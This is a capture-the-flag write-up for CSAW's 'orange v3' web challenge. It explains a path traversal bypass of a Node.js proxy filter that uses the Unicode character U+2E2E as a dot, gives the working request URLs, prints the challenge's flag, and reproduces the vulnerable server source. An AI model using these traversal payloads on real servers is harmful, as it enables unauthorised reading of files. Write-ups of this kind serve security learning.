Tags: lfi node.js 

Rating:

# ▼▼▼orange v3(Web:300)(90/1444 team=6.23%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
I wrote a little proxy program in NodeJS for my poems folder but I'm bad at programming so I had to rewrite it. Again.
I changed up flag.txt too but everyone still wants to read it...
http://web.chal.csaw.io:7312/?path=orange.txt
```

### 【function】

GET /?path=orange.txt

`i love oranges`

### 【goal】

find **flag.txt**

### 【Search for vulnerabilities】

GET /?path= ⇒ 403応答「`WHOA THATS BANNED!!!!`」

GET /?path=.txt ⇒ 404応答

GET /?path=../.txt ⇒ 403応答「`WHOA THATS BANNED!!!!`」

GET /?path=%252e%252e/.txt ⇒ 403応答「`WHOA THATS BANNED!!!!`」

**.txt is required.★**

**".." and "Double encode" are detected★**

-----

`path.indexOf("NN") == -1` in server.js at orange **v1** became a hint.

N is not N(U+004E) but **U+FF2E**:[http://www.fileformat.info/info/unicode/char/ff2e/index.htm](http://www.fileformat.info/info/unicode/char/ff2e/index.htm)

It seems that 2E is interpreted as dot(U + 002E).

-----

Look for something similar to U+FF2E

**U+2E2E**:[http://www.fileformat.info/info/unicode/char/2e2e/index.htm](http://www.fileformat.info/info/unicode/char/2e2e/index.htm)

2E2E was interpreted as **2E**

-----

**U+2E2E**

UTF-8 (hex) **0xE2 0xB8 0xAE (e2b8ae)**

http://web.chal.csaw.io:7312/?path=**%E2%B8%AE%E2%B8%AE**/flag.txt

**flag{s0rry_this_t00k_s0_m@ny_tries...}**

### first solve!!

-----

### -----Reference: Other source code-----

GET /?path=%E2%B8%AE%E2%B8%AE/server**%E2%B8%AE**js**%23**.txt

```
var http = require('http');
var fs = require('fs');
var url = require('url');

var server = http.createServer(function(req, res) {
try {
var path = url.parse(req.url, true).query;
path = path['path'];
var no_ext = path.substring(0, path.length - 4);
var ext = path.substring(path.length - 4, path.length);
console.log(path);
console.log(no_ext);
console.log(ext);
if (no_ext.indexOf(".") == -1 && path.indexOf("N") == -1 && path.indexOf("%") == -1 && ext == '.txt') {
var base = "http://localhost:8080/poems/";
var callback = function(response){
var str = '';
response.on('data', function (chunk) {
str += chunk;
});
response.on('end', function () {
res.end(str);
});
}
http.get(base + path, callback).end();
} else {
res.writeHead(403);
res.end("WHOA THATS BANNED!!!!");
}
}
catch (e) {
res.writeHead(404);
res.end('Oops');
}
});
server.listen(9999);
```